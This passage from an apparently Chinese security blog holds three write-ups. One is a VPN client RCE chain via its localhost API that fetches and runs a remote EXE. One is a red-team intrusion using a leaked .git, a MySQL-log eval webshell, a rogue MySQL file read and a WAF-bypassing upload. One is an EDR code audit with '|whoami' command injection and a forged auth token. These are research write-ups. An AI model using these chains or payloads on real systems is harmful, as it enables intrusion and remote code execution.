src="/images/2021-05-05/Pasted%20image%2020220304125819.png" alt="" /></p> <h4 id="其他动作">其他动作</h4> <p>按照正常逻辑来说,既然可以远程读取服务器配置,应该会有一些其他的操作,例如更新、下载,于是我在IDA中继续寻找,发现了一段字符串:</p> <p><img src="/images/2021-05-05/Pasted%20image%2020220304131819.png" alt="" /></p> <pre><code class="language-c">v23 = "__check_alive__|GetEncryptKey|DoConfigure#SET LANG|DoQueryService#QUERY LANG|InitECAgent|CheckRelogin|Logout|CheckMITMAttack|SelectLines|DetectECAgent|CheckProxySetting|UpdateControls#BEFORELOGIN|DoQueryService#QUERY CONTROLS UPDATEPROCESS|DoQueryService#QUERY DKEY_DETECT|DoQueryService#QUERY LOGINSTATUS|OpenBrowser|StartEasyConnect|DoQueryService#QUERY NEEDUPDATE"; </code></pre> <p>在该字符串中许多之前发现的都存在其中,当然也有很多没有见过的,我梳理了一下没有见过的字符串:</p> <pre><code>DoConfigure#SET LANG DoQueryService#QUERY LANG Logout CheckMITMAttack SelectLines CheckProxySetting UpdateControls#BEFORELOGIN DoQueryService#QUERY CONTROLS UPDATEPROCESS DoQueryService#QUERY DKEY_DETECT DoQueryService#QUERY LOGINSTATUS OpenBrowser StartEasyConnect DoQueryService#QUERY NEEDUPDATE </code></pre> <p>很奇怪的是这些字符串之后还有一个<code>#</code>号,例如<code>DoConfigure</code>,按照我的推测是去设置配置信息的,此处后面跟了一个<code>#</code>号+<code>SET LANG</code>,根据字面意思第一时间想到了这可能是设置语言,但如何设置?尝试了一下,此处可以带进<code>arg</code>参数,按照字面意思<code>SET LANG</code>之后应该还需要有参数值,所以请求参数值改为<code>SET LANG 123</code>,接着按照字面意思发现配合<code>DoQueryService#QUERY LANG</code>可以查询出来:</p> <p><img src="/images/2021-05-05/Pasted%20image%2020220304135649.png" alt="" /></p> <p>同样,我在之前的发现中发现可以去配置VPN服务IP地址,在IP之后加上空格也可以配置指定端口:</p> <pre><code>https://127.0.0.1:54530/?op=InitECAgent&amp;arg=172.20.10.3 443 </code></pre> <h3 id="远程下载rce">远程下载(RCE)</h3> <p>接着来看我最关心的<code>UpdateControls#BEFORELOGIN</code>,其字面意思就是在登陆前进行更新,那么具体更新了什么呢?我尝试请求如下URL并查看是否存在网络的连接(需要先请求InitECAgent):</p> <pre><code>https://127.0.0.1:54530/?op=UpdateControls&amp;arg=BEFORELOGIN </code></pre> <p>在HTTP服务端成功的收到了请求日志,可以看见客户端请求了很多个路径,并以POST形式请求了<code>/com/win/XXXUD.exe</code>文件:</p> <p><img src="/images/2021-05-05/Pasted%20image%2020220304144029.png" alt="" /></p> <p>经过测试发现其会去主动下载该EXE并替换原XXXUD.exe文件,接着执行打开:</p> <p><img src="/images/2021-05-05/Pasted%20image%2020220304144714.png" alt="" /></p> <p>就这样我成功发现了一条RCE链:</p> <pre><code>// 改变VPN客户端服务的IP地址和端口 https://127.0.0.1:54530/?op=InitECAgent&amp;arg=172.20.10.3 443 // 让VPN客户端发起下载更新,并执行更新文件 https://127.0.0.1:54530/?op=UpdateControls&amp;arg=BEFORELOGIN </code></pre> <h2 id="文末">文末</h2> <p>我在真实逆向过程中踩了很多坑,也由于自身缺少逆向经验和强有力的水准,只能模拟黑盒的经验和套路带入到逆向中。</p> <p>虽然这只是一次逆向挖掘模拟,但在这过程中我掌握了之前黑盒所无法知晓的细节,并且对比黑、白盒的过程和结果,会发现逆向侧最后实际的PoC根本不需要<code>/ECAgent/</code>目录,<code>arg1</code>参数也变成了<code>arg</code>参数,并且RCE链的请求,从原本的3条请求变成了2条请求。(也许可以Bypass一些WAF)</p> <p>最后我将这类漏洞称之为Web2Pwn,也就是基于Web通道达到应用侧(非Web)漏洞触发的目的。例如你可以通过HTTP服务访问触发执行CreateProcess函数,亦或者通过HTTP服务访问触发溢出漏洞。</p>

2021/5/5
閱讀更多

记一次攻防演习渗透过程

<h1 id="记一次攻防演习渗透过程">记一次攻防演习渗透过程</h1> <h2 id="前言">前言</h2> <p>记录一次攻防演习渗透过程,文章仅写关于「打点」环节的部分,也就是拿到靶标的Webshell为止。</p> <p>任务: 拿到XXX业务系统权限…</p> <h2 id="过程">过程</h2> <p>靶标是一个www的域名,简单看了下有机会硬啃(商业源码),但时间不多,先找找脆弱点,常规一套流程,收集子域、C段…</p> <h3 id="脆弱点发现">脆弱点发现</h3> <p>在对子域的常规扫描后,发现存在<code>.git</code>泄露:</p> <p><img src="/images/2020-11-22/16054609733881.jpg" alt="-w494" /></p> <p>以及发现了<code>phpMyAdmin</code>应用和一些<code>phpinfo()</code>信息泄漏:</p> <p><img src="/images/2020-11-22/16054610914733.jpg" alt="-w865" /></p> <p>看到这些,不由得兴奋了起来,接下来只要按照预期的想法: 通过<code>.git</code>拿到数据库账号密码(源码中一般会有),登录<code>phpMyAdmin</code>,然后拿到<code>Webshell</code>…</p> <p>但…转折点来了,尝试使用<code>GitHack</code>等一系列常见工具去恢复<code>.git</code>,发现恢复的文件只有一些图片,看<code>Logs</code>发现有很多文件恢复失败,既然不能当一个<code>ScriptKid</code>一把梭哈,那就自己来手动恢复吧~</p> <h3 id="git原理与恢复">Git原理与恢复</h3> <p><strong>基本概念</strong></p> <p>Git有三个概念词需要了解: 1.工作区 2.版本库 3.暂存区</p> <p>工作区就是正常的目录(你的项目位置);版本库就是在工作区内的一个隐藏目录<code>.git</code>;如果你曾经注意过这个目录你会发现里面有许多东西,在该目录下会存在一个<code>index</code>文件,这被称之为暂存区。</p> <p>除以上所述之外,大家都知道每一个Git项目都会有一个默认的分支<code>master</code>,在<code>.git</code>目录下有一个文件<code>head</code>,它用来指向<code>master</code>这个分支。</p> <p><img src="/images/2020-11-22/16054630957919.jpg" alt="-w992" /></p> <p>当我们使用<code>git add</code>时,实际上就是把文件添加进暂存区;使用<code>git commit</code>时,才会把暂存区的内容添加到当前分支,默认是<code>master</code>分支。</p> <p>我们可以来实际的看一下<code>index</code>和<code>head</code>这两个文件:</p> <p><img src="/images/2020-11-22/16054636119175.jpg" alt="-w1108" /></p> <p>使用<code>Binwalk</code>直接分析,可以很直观的看见<code>index</code>内有许多内容,<code>head</code>并没有,直接<code>cat head</code>发现这就是一个单纯的文本内容:</p> <pre><code>ref: refs/heads/master </code></pre> <p>前面了解到这是一个分支指向,那我直接查看<code>.git</code>目录下的<code>refs/heads/master</code>文件,得到一串Hash值。</p> <p>我们可以暂且认为这是<code>master</code>分支的一个记录,用于区分、比较。</p> <p>大概了解了以上内容后,还需要了解有哪些文件才能够恢复<code>.git</code>?</p> <p>首先我们来看一下<code>.git</code>目录内的一般结构:</p> <table> <thead> <tr> <th>名称</th> <th>类型</th> <th>作用</th> </tr> </thead> <tbody> <tr> <td>.git/index</td> <td>文件</td> <td>暂存区</td> </tr> <tr> <td>.git/config</td> <td>文件</td> <td>Git配置文件</td> </tr> <tr> <td>.git/description</td> <td>文件</td> <td>GitWeb专用的描述文件</td> </tr> <tr> <td>.git/info</td> <td>文件夹</td> <td>里面就一个exclude文件(与.gitignore互补),排除指定文件不用做Git提交</td> </tr> <tr> <td>.git/hooks</td> <td>文件夹</td> <td>存放一些钩子脚本</td> </tr> <tr> <td>.git/HEAD</td> <td>文件</td> <td>记录分支</td> </tr> <tr> <td>.git/objects</td> <td>文件夹</td> <td>存放所有数据</td> </tr> <tr> <td>.git/refs</td> <td>文件夹</td> <td>存放提交对象的指针</td> </tr> </tbody> </table> <p>知道结构及其作用后,挑重点关注<code>objects</code>这个目录,但一看,全都是一些Hash命名的文件,根本不知道其对应关系:</p> <p><img src="/images/2020-11-22/16054656504449.jpg" alt="-w1102" /></p> <p>并且这些文件都没办法看:</p> <p><img src="/images/2020-11-22/16054659230739.jpg" alt="-w822" /></p> <p>查阅相关资料得知此类文件是将原文件内容经过<code>zlib</code>的<code>deflate</code>压缩后存储的( https://mirrors.edge.kernel.org/pub/software/scm/git/docs/user-manual.html#object-details ):</p> <p><img src="/images/2020-11-22/16054659652391.jpg" alt="-w1145" /></p> <p>而使用<code>zlib</code>进行解压查看文件内容时是这样的:</p> <p><img src="/images/2020-11-22/16054674810483.jpg" alt="-w1222" /></p> <p>这个文件更像是记录了一个目录结构,而关于此就又需要查阅资料了,具体请看: https://git-scm.com/book/zh/v2/Git-%E5%86%85%E9%83%A8%E5%8E%9F%E7%90%86-Git-%E5%AF%B9%E8%B1%A1</p> <p>git中的对象(<strong>对象对应文件</strong>)<code>.git/objects</code>包含了:</p> <ol> <li>SHA(所有用来表示项目历史信息的文件,是通过一个40个字符的(40-digit)“对象名”来索引的)</li> <li>Blob对象(用来存储文件的内容)</li> <li>Tree对象(有一串bunch指向Blob对象或是其它Tree对象的指针,一般表示内容之间的目录层次关系)</li> <li>Commit对象(指向一个Tree对象, 并且带有相关的描述信息.)</li> </ol> <p><img src="/images/2020-11-22/16059691330110.jpg" alt="-w481" /> (注: 图片来自 git-scm.com )</p> <p><strong>猜测</strong>: 按照这个逻辑,我们需要先获取<code>Commit</code>对象对应文件找到<code>Tree</code>对象对应文件再通过其获得<code>Blob</code>对象对应文件,最后解压即可获得源文件内容。</p> <p>那这些对象内容都存储在哪里呢?通过之前使用<code>Binwalk</code>分析,显而易见,在<code>.git/index</code>文件中。</p> <p>但是在这里<code>.git/index</code>文件无法直接查看,直接套用<code>GitHack</code>的( https://github.com/lijiejie/GitHack/blob/master/lib/parser.py )解析代码就行:</p> <p><img src="/images/2020-11-22/16059735242568.jpg" alt="-w716" /></p> <p>获得SHA1: <code>a797b1973fd62dc34a691c7fe3bce33a504f2b74</code>,但是找了半天没找到这个对应文件​,后来尝试搜索前几位和后几位,发现搜索到了后几位:</p> <p><img src="/images/2020-11-22/16059737421527.jpg" alt="-w664" /></p> <p>对比发现文件名和获取的SHA1值少了2位:</p> <p><img src="/images/2020-11-22/16059738182126.jpg" alt="-w387" /></p> <p>搜索发现原来前两位是作为了目录名:</p> <p><img src="/images/2020-11-22/16059738625732.jpg" alt="-w556" /></p> <p>但在这里,我们使用<code>zlib</code>去解压缩,发现存储在<code>.git/index</code>的SHA1值实际上就是一个<code>blob</code>对象的值,也就根本不需要获取<code>commit</code>、<code>tree</code>对象的值了,表示之前的顺序逆推逻辑是错误的:</p> <p><img src="/images/2020-11-22/16059739165413.jpg" alt="-w746" /></p> <p>接下来按照这个思路去编写脚本恢复源码即可。</p> <p><strong>编写与恢复</strong></p> <p>由于项目时间原因简单了解原理之后,没有过多的去研究,也不打算使用原生方法去恢复,还是采用最暴力的方法,使用命令行去恢复<code>.git</code>,想要让Git回退历史,使用<code>git reset --hard commit_id</code>命令,进行版本回退。</p> <p>基于这个命令,我需要获取网站的这几个文件/目录:</p> <ol> <li><code>.git/index</code></li> <li><code>.git/logs</code></li> <li><code>.git/head</code></li> <li><code>.git/objects</code></li> <li><code>.git/refs</code></li> </ol> <p>先下载<code>.git/index</code>、<code>.git/head</code>、<code>.git/refs</code>、<code>.git/logs</code>(文件目录都是固定的无需考虑其他情况)而后解析<code>index</code>获取索引,根据索引依次下载<code>.git/objects</code>内的文件,最后全部下载完毕,获取<code>master</code>分支(<code>refs/heads/master</code>文件)对应的值带入该命令<code>git reset --hard commit_id</code>即可恢复:</p> <p><img src="/images/2020-11-22/16054710482497.jpg" alt="-w793" /></p> <p>但发现除此之外,发现恢复的文件寥寥无几,后来下载<code>.git/logs/head</code>发现该<code>.git</code>项目还有其他分支:</p> <p><img src="/images/2020-11-22/16059680019130.jpeg" alt="-w742" /></p> <p>这个记录中有两个SHA1的值,<code>master</code>对应前者,<code>shop</code>对应后者,简单修改命令<code>git reset --hard shop_commit_id</code>,还是那一套流程,恢复<code>shop</code>这个分支的源码即可。</p> <h3 id="获取子域-webshell">获取子域 Webshell</h3> <p>获得源码之后翻数据库账号密码:</p> <p><img src="/images/2020-11-22/16054714423847.jpg" alt="-w307" /></p> <p>由于之前我们已经有了一个<code>phpinfo()</code>探针,网站绝对路径已知,所以直接上<code>phpMyAdmin</code>登录,尝试使用<code>into outfile</code>,有<code>--secure-file-priv</code>限制无法写入:</p> <p><img src="/images/2020-11-22/16054716403383.jpg" alt="-w767" /></p> <p>转而使用Mysql Log日志存储的方式进行写入:</p> <pre><code class="language-sql">set global general_log=on; set global_log_file='/xxx/www/xxx.php'; select '&lt;?php @eval($_REQUEST["xxx"]);?&gt;'; </code></pre> <p>访问相关文件却提示我无法访问(<strong>403/AccessDefined</strong>):</p> <p><img src="/images/2020-11-22/16054717903557.jpg" alt="" /></p> <p>遇到这种情况尝试以下几种方法:</p> <ol> <li>修改后缀访问,判断是否是只针对脚本后缀进行限制(上传.htaccess文件)</li> <li>修改内容访问,判断是否有安全防护对内容进行限制</li> <li>如若以上均未访问成功,则可以考虑覆盖原文件写入</li> </ol> <p>这里我的情况是第三种,大概推测可能是因为新建的文件没有执行权限所导致,因为这里我们已经有源码了所以可以直接找已有的文件(<strong>建议选择非业务相关的文件</strong>)进行写入(<strong>记得事后恢复</strong>):</p> <p><img src="/images/2020-11-22/16054723563640.jpg" alt="-w562" /></p> <p>执行<code>phpinfo();</code>函数可以,但无法直接使用管理工具连接,抓包发现目标网站上了云WAF,对请求内容拦截了(该WAF还挺弱),这种情况还是有很多中方式:</p> <ol> <li>配合Cknife、蚁剑等自定义修改传输内容(Base64编码等等),但需要修改PHP文件内容配合解码</li> <li>直接上冰蝎、哥斯拉的马就行了</li> </ol> <p>为图方便,选择<code>冰蝎3</code>,使用<code>file_put_contents</code>写入连接就行(这都不拦,WAF堪忧):</p> <p><img src="/images/2020-11-22/16054723222387.jpg" alt="-w362" /></p> <p><img src="/images/2020-11-22/16054724217021.jpg" alt="-w699" /></p> <h3 id="瞄准靶标">瞄准靶标</h3> <p>进入子域的Webshell发现内网无机器、就是一个云服务器,一开始误以为打中靶标,因为在主战发现一个路径泄漏:</p> <p><img src="/images/2020-11-22/16059692424662.jpg" alt="-w503" /></p> <p><img src="/images/2020-11-22/16059693308877.jpg" alt="-w170" /></p> <p>而子域服务器上也有对应目录并且文件一模一样,但是修改文件却没反应不生效,猜测很有可能主战业务曾经在这个子域服务器上,但后期进行了转移,原Web文件还留着。</p> <p>尝试翻翻源码,找密码,后来找到了几个有用的东西:1.Adminer文件 2.数据配置信息</p> <p><img src="/images/2020-11-22/16059695408421.jpg" alt="-w500" /></p> <p><code>Adminer</code>(类似phpMyAdmin的数据库管理工具)文件是随机的: <code>adminerxxxxxxxxx.php</code>,完全无法扫到,数据库配置密码与子域完全一样。</p> <p><img src="/images/2020-11-22/16059702838497.jpg" alt="-w626" /></p> <p>使用数据配置密码无法登录,但是这里<code>Adminer</code>可以直接连外网的<code>Mysql</code>数据库,使用脚本( https://github.com/Gifts/Rogue-MySql-Server )伪造一个Mysql服务端读取对应文件就好,这边以<code>/etc/passwd</code>为例:</p> <p><img src="/images/2020-11-22/16059704881880.jpg" alt="-w599" /></p> <p>如上图所示是成功读取到的,而我们在子域上也知道了对应的配置文件路径,直接伪造读取即可。</p> <p>再使用Adminer登录进去时,使用如下几种方法尝试获取Webshell:</p> <ol> <li>into outfile -&gt; 失败</li> <li>Mysql log -&gt; 失败</li> <li>Adminer是最新版本无漏洞 -&gt; 失败</li> <li>获取管理员密码无法解密 -&gt; 失败</li> </ol> <p>最终选择添加新管理员登录:</p> <p><img src="/images/2020-11-22/16059709196188.jpg" alt="-w592" /></p> <p>登录之后寻找对应上传点(以最短攻击路径的方式进行GetWebShell):</p> <p><img src="/images/2020-11-22/16059709890399.jpg" alt="-w551" /></p> <p>测试如下后缀及服务器结果:</p> <pre><code>Key.jpg -&gt; 上传成功 Key.php -&gt; 上传失败WAF拦截 Key.phtml -&gt; 上传失败文件类型不允许 </code></pre> <p><img src="/images/2020-11-22/16059713996506.jpg" alt="-w474" /></p> <p><img src="/images/2020-11-22/16059714116942.jpg" alt="-w356" /></p> <p>我们在已经有源码的情况下,找到对应的代码进行审计就行,发现这里是白名单设置无法绕过:</p> <p><img src="/images/2020-11-22/16059714739649.jpg" alt="" /></p> <p>直接关键词寻找上传功能,发现函数:<code>xxx_upload_file</code>存在任意文件上传</p> <p><img src="/images/2020-11-22/16059715071352.jpg" alt="" /></p> <p>后续构建请求包以及使用回车直接绕过<code>CloudWAF</code>,上传成功:</p> <p><img src="/images/2020-11-22/16059715574505.jpg" alt="" /></p> <p><img src="/images/2020-11-22/16059716055507.jpg" alt="-w436" /></p> <p>至此靶标拿到,结束。</p> <h1 id="文末">文末</h1> <p>很多时候还是需要去探寻事物的本质和原理,才能更加清晰明了的了解这个事物,否则什么东西都是现有的成品一把梭,遇到梭不了,容易出现惯性思维,可能就直接略过了。</p>

2020/11/22
閱讀更多

某终端检测响应平台代码审计挖掘(RCE)

<h1 id="某终端检测响应平台代码审计挖掘rce">某终端检测响应平台代码审计挖掘(RCE)</h1> <h2 id="前言">前言</h2> <p>继上一次对某终端检测响应平台<strong>权限绕过</strong>漏洞的审计流程,现分享对该平台进行代码审计后挖掘到的远程命令执行漏洞。</p> <p>上篇文章其实采用的是通读代码逻辑的方法进行漏洞挖掘,那么本次我们使用敏感函数回溯的方法(代码审计方法通常分为三类: 通读全文、敏感函数参数回溯、定向功能分析)来进行漏洞挖掘。</p> <h2 id="审计流程">审计流程</h2> <h2 id="定位敏感函数">定位敏感函数</h2> <p>前文说到,不是一把梭的0day都不叫0day,所以我们可以对命令执行、代码执行等漏洞相关敏感函数进行全文搜索,敏感函数列表如下 :</p> <pre><code class="language-php">exec() passthru() proc_open() shell_exec() system() popen() eval() //非函数 assert() preg_replace() </code></pre> <p>搜索关键词 <code>exec(</code>,发现一处文件 <code>/ldb/dc.php</code> 自定义了命令执行代码,函数体是调用的 <code>exec</code> 函数 :</p> <pre><code class="language-php">/** * 执行外部程序 * @param string $command 执行命令 * @param array $output 输出信息 * @param int $ret 返回值 * @return string 返回执行结果 */ function ldb_exec($command, &amp;$output, &amp;$ret) { if (!ldb_is_linux()) { $data = exec($command, $output, $ret); } else { pcntl_signal(SIGCHLD, SIG_DFL); $data = exec($command, $output, $ret); pcntl_signal(SIGCHLD, SIG_IGN); } return $data; } </code></pre> <h2 id="寻找危险点">寻找危险点</h2> <h3 id="binmapreduceappwebdevice_linkageprocess_csspphp">/bin/mapreduce/app/web/device_linkage/process_cssp.php</h3> <h4 id="exec_slog_action-匿名函数分析">exec_slog_action 匿名函数分析</h4> <p>如上所述,我们知道了 <code>ldb_exec</code> 函数为自定义命令执行代码,我们想寻找利用点就需要跟踪下该函数在哪被引用,然后分析具体的代码看是否可以利用。</p> <p>老套路,全局搜索 <code>ldb_exec(</code> 发现有很多处调用了,其中阅读起来较为通俗易懂的为 <code>/bin/mapreduce/app/web/device_linkage/process_cssp.php</code> 的匿名函数 <code>$exec_slog_action</code> :</p> <pre><code class="language-php">$exec_slog_action = function($object,$params){ $data = $params["data"]; if (!isset($data["params"])) { ldb_error("required parameter missing params is".json_encode($params)); $object-&gt;err_code = EXEC_SLOG_ACTION_PARAM_ERROR; return -1; } $data["params"] = ldb_mapreduce_invoke("call_method", "app.web.common.validation.shell_injection_check", "shell_argv_transform", $data["params"]); $command = "curl -k 'http://127.0.0.1:9081/?".$data["params"]."'"; ldb_debug("exec command: ".$command); ldb_exec($command, $output, $ret); if ($ret !== 0) { ldb_error("exec slog action fail, command: $command, error: ".$output); $object-&gt;err_code = EXEC_SLOG_ACTION_FAILED; return -1; } $data = $output; response_linkage_dev_msg(SUCCESS,$data); return 0; }; </code></pre> <p>这段代码很容易理解,赋值校验,再过一遍 <code>/bin/mapreduce/app/web/common/validation/shell_injection_check</code> 文件 函数 <code>shell_argv_transform</code> :</p> <pre><code class="language-php">// 转义参数 $shell_argv_transform = function($argv) use(&amp;$shell_argv_transform) { $type = strtolower(gettype($argv)); if ($type == "array") { foreach ($argv as $key =&gt; $value) { $argv[$key] = $shell_argv_transform($value); } } else if (!is_null($argv) &amp;&amp; !empty($argv)) { $argv = escapeshellarg($argv); } return $argv; }; </code></pre> <p>这就是一段简单的转义,如果传入的变量 <code>$argv</code> 是数组则遍历进行函数递归最后通过 <code>escapeshellarg</code> 函数转义( 官方释义: <strong>escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。</strong> ),如果不是数组则直接进行增加转义。</p> <p>继续跟进看代码,你会发现 <code>$command = "curl -k 'http://127.0.0.1:9081/?".$data["params"]."'";</code> 是拼接的,最后经过 <code>ldb_exec</code> 进行命令执行,我们可以使用管道符的方式进行其他命令的注入: <code>|whoami</code>,但这里巧妙的是经过 <code>escapeshellarg</code> 函数处理后注入的命令就变成了 <code>'|whoami'</code>,最后执行的命令就变成了: <code>curl -k 'http://127.0.0.1:9081/?'|whoami''</code>,直接帮助我们闭合命令了。</p> <p>那么我们只需要可以控制 <code>$params['data']['params']</code> 的值即可进行命令执行。</p> <h2 id="控制点寻找">控制点寻找</h2> <h3 id="binwebdev_linkage_launchphp">/bin/web/dev_linkage_launch.php</h3> <h4 id="get_opr-函数分析">get_opr 函数分析</h4> <p>由于 <code>/bin/mapreduce/</code> 下的文件,我们没办法直接访问调用就需要全局搜索 <code>exec_slog_action</code> 看下谁调用了这段代码,发现文件 <code>/bin/web/dev_linkage_launch.php</code>( 此处应感觉到兴奋,毕竟我们能访问的路径就是 <code>/bin/web/</code> ) 有一处可疑函数体( 函数 <code>get_opr</code> ) :</p> <pre><code class="language-php">function get_opr($req_url){ ... //CSSP请求 if($req_url === STD_CSSP_EXEC_SLOG_ACTION_URL ){ return EXEC_SLOG_ACTION; } ... //检查url的合法性 if($req_url !== AGENT_INFO_URL &amp;&amp; $req_url !== SCAN_ABOUT_URL &amp;&amp; $req_url !== EDR_INFO_ABOUT_URL &amp;&amp; $req_url !== EVIDENCE_INFO_URL){ ldb_error("no response about this url :".$req_url); throw new Exception(ldb_get_lang("NO_RESPONSE_ABOUT_THIS_URL")); } //获取url中的参数 $url_params = get_url_param(); $method = $url_params[METHOD]; global $opr_arr; if(isset($opr_arr[$method])){ $opr = $opr_arr[$method]; } else{//无此url的响应 ldb_error("no response about this url: " .$req_url); throw new Exception(ldb_get_lang("NO_RESPONSE_ABOUT_THIS_URL")); } return $opr; } </code></pre> <p>判断变量 <code>$req_url</code> 值是否与常量 <code>STD_CSSP_EXEC_SLOG_ACTION_URL</code> 值一致,一致则返回常量 <code>EXEC_SLOG_ACTION</code>,最后如果请求的地址非常量中定义的,则进行URL判断合法性( 我们没办法直接访问 <code>dev_linkage_launch.php</code> )。</p> <p>我们先看常量 <code>STD_CSSP_EXEC_SLOG_ACTION_URL</code> 对应值,直接看代码开头包含了哪些文件即可 :</p> <p><img src="/images/2020-09-03/15981261213631.jpg" alt="-w938" /></p> <p>最终发现 <code>/bin/mapreduce/app/web/device_linkage/common/common.php</code> 中定义了常量 :</p> <pre><code class="language-php">define("STD_CSSP_EXEC_SLOG_ACTION_URL","/api/edr/sangforinter/v2/cssp/slog_client"); </code></pre> <pre><code class="language-php">define("EXEC_SLOG_ACTION","exec_slog_action"); </code></pre> <p>知道了这些常量的定义,大致就明白了,<strong>( 猜测 )</strong>当我们访问 <code>/api/edr/sangforinter/v2/cssp/slog_client</code> 时,函数 <code>get_opr</code> 返回 <code>exec_slog_action</code>,也就是我们之前所发现存在安全风险的函数,这也仅仅是猜测,但想要证实这个猜测,我们就得啃一啃文件 <code>/bin/web/dev_linkage_launch.php</code>。</p> <h4 id="get_interface_data-函数分析">get_interface_data 函数分析</h4> <p>我们已经知道了函数 <code>get_opr</code> 的作用( 返回接口方法 ),来看看在文件中的哪里被调用,发现一处调用 :</p> <pre><code class="language-php">function get_interface_data($argv) { //获取url $req_url = $_SERVER['PHP_SELF']; //校验token check_token($req_url); //构造opr $opr = get_opr($req_url); //根据方法构造业务代码路径 $app_name = get_app_name($opr); $data = array(); if($_SERVER['REQUEST_METHOD'] == 'POST'){ $data = get_body_data($argv); } //根据opr、app_name以及data构造数据 $interface_data = array(); $interface_data["app_args"]["name"] = $app_name; $interface_data["opr"] = $opr; if($_SERVER['REQUEST_METHOD'] == 'POST'){ $interface_data["data"] = $data; } return $interface_data; } </code></pre> <p>函数 <code>get_interface_data</code> 调用了函数 <code>get_opr</code>,传递参数值为 <code>$req_url = $_SERVER['PHP_SELF'];</code>,也就是请求的 <code>URI</code> ( 例如请求地址为 <code>http://localhost/chen.php</code> 那么 <code>$_SERVER['PHP_SELF']</code> 的值即为 <code>/chen.php</code> )。</p> <p><strong>注</strong>:这里证实了我们在分析 <code>get_opr</code> 函数时的猜测,请求的地址必须为 <code>/bin/mapreduce/app/web/device_linkage/common/common.php</code> 文件中定义常量的地址,不能为 <code>dev_linkage_launch.php</code>。</p> <p>那么想要进入调用函数 <code>get_opr</code> 的逻辑,我们需要先了解下函数 <code>get_interface_data</code> 的逻辑,在此之前我们需要确保自己不会做<strong>无用功</strong>,所以需要看下函数 <code>get_interface_data</code> 是否在上下文代码中被调用 :</p> <p><img src="/images/2020-09-03/15981340754516.jpg" alt="-w711" /></p> <p><img src="/images/2020-09-03/15981340883961.jpg" alt="-w289" /></p> <p>该函数直接被入口函数调用,那么我们接下来就可以分析下该函数逻辑,根据注释我们了解到这里会校验token,也就是函数 <code>check_token</code>。</p> <h5 id="check_token-绕过">check_token 绕过</h5> <p>跟进函数 <code>check_token</code>,其代码如下 :</p> <pre><code class="language-php">/** * @func 检验token * @param string $req_url 联动的url * @throws Exception */ function check_token($req_url){ //CSSP接口使用特权IP的方式进行校验 if (strpos($req_url, STD_CSSP_REQUEST_URL_PREFIX) !== false &amp;&amp; $req_url != STD_CSSP_SET_KEY_URL) { parse_str($_SERVER['QUERY_STRING'],$query_str_parsed); if(!isset($query_str_parsed[TOKEN])) { throw new Exception(ldb_get_lang("THIS_OPERATION_NEED_TOKEN")); } $ret = check_access_token($query_str_parsed[TOKEN], $req_url); if ($ret == 1) { response_linkage_dev_msg(CSSP_TOKEN_AUTH_FAILED); die(); } } //判断url 需不需要进行校验token if($req_url == AGENT_INFO_URL || $req_url == SCAN_ABOUT_URL || $req_url == EDR_INFO_ABOUT_URL || $req_url == EVIDENCE_INFO_URL){ //校验token $url_params = get_url_param(); $ret = token_valid($url_params[TOKEN]); if($ret){ response_linkage_dev_msg($ret); die(); } } } </code></pre> <p>简单理解就是获取所有请求参数,并获取参数 <code>token</code> 的值带入函数 <code>check_access_token</code>,最后的返回结果不为 <code>1</code> 即可成功验证token,我们继续跟进该函数,文件 <code>/bin/web/ui/php/platform.php</code> :</p> <pre><code class="language-php">/** * 检验cssp请求的token * @return 0/1 成功/失败 */ function check_access_token($access_token, $req_url){ $token_str = base64_decode($access_token); $json_token = json_decode($token_str, true); $key = get_item_from_os_json("privateKey"); if($key == "" &amp;&amp; $req_url == STD_CSSP_DOWN_CONF_URL) { $key = STD_CSSP_DEFAULT_KEY; } $md5_str = md5($key.$json_token["random"]); if($md5_str == $json_token["md5"]) { return 0; } ldb_error("check token failed"); return 1; } </code></pre> <p>参数 <code>token</code> 的值需要经过Base64解码、JSON转换( 将JSON转为数组 ),最后字段 <code>random</code> 与变量 <code>$key</code> 拼接进行md5加密的值与字段 <code>md5</code> 一样则可以进入 <code>return 0;</code> 否则就是 <code>return 1;</code>( 我们就需要返回为0才可过token验证 )。</p> <p>那在这我们需要知道变量 <code>$key</code> 是怎么样获取到的,跟进函数 <code>get_item_from_os_json</code> :</p> <pre><code class="language-php">/** * 从/etc/cssp_custom_image/os.json中获取指定值 * @param $key os.json中的键 * @return 返回指定键对应的值 */ function get_item_from_os_json($key){ $item = ""; $file_path = "/etc/cssp_custom_image/os.json"; if(file_exists($file_path)){ $os_json = get_json_from_file($file_path); if ($os_json === null) { ldb_error("target file is null"); return ""; } $item = $os_json[$key]; } return $item; } </code></pre> <p>发现这里实际意义上就是将 <code>$file_path = "/etc/cssp_custom_image/os.json";</code> 带入 <code>get_json_from_file</code> 函数,继续跟进这个函数 :</p> <pre><code class="language-php">/** * 从文件读取一个json * @param conf_file 文件路径+文件名 * @return data_arry 返回一个关联数组 */ function get_json_from_file($conf_file){ if (!file_exists($conf_file)) { ldb_error("err:file null"); return null; } $json_string = file_get_contents($conf_file); $data_arry = json_decode($json_string, true); if (is_null($data_arry)) { ldb_error("get json from file failed"); return null; } return $data_arry; } </code></pre> <p>该函数就是从文件中读取JSON,并转为数组返回,我们想要知道具体内容就要看下初始的 <code>/etc/cssp_custom_image/os.json</code> 文件内容,但笔者这里安装默认情况下该文件是不存在的 :</p> <p><img src="/images/2020-09-03/15981333535662.jpg" alt="-w1076" /></p> <p>那在这里其返回的就是空,这时候我们再回到函数 <code>check_access_token</code>,其代码( 代码上文中已经列出 )逻辑当变量 <code>$key</code> 值为空并且 <code>$req_url == STD_CSSP_DOWN_CONF_URL</code>( <code>define("STD_CSSP_DOWN_CONF_URL","/api/edr/sangforinter/v2/cssp/down_conf");</code> ) 的情况下变量 <code>$key</code> 值为常量 <code>STD_CSSP_DEFAULT_KEY</code> 的值,即: <code>define("STD_CSSP_DEFAULT_KEY","amsPnhHqfN5Ld5FU");</code>( 常量定义在 <code>/bin/mapreduce/app/web/device_linkage/common/common.php</code> 文件中 )。</p> <p>但此处我们的变量 <code>$req_url</code> 为 <code>/api/edr/sangforinter/v2/cssp/slog_client</code> 并不符合逻辑条件,所以变量 <code>$key</code> 还是为空的。</p> <p>那我们可以根据代码逻辑直接构建token值,首先是JSON内容有两个字段random、md5,还要满足字段md5的值等于<code>md5(字段random)</code>的值,所以我们要提前先设置字段random为1,随后进行md5加密并将结果赋予字段md5即可 :</p> <p><img src="/images/2020-09-03/15981351792870.jpg" alt="-w374" /></p> <pre><code class="language-json">{"random":"1", "md5":"c4ca4238a0b923820dcc509a6f75849b"} 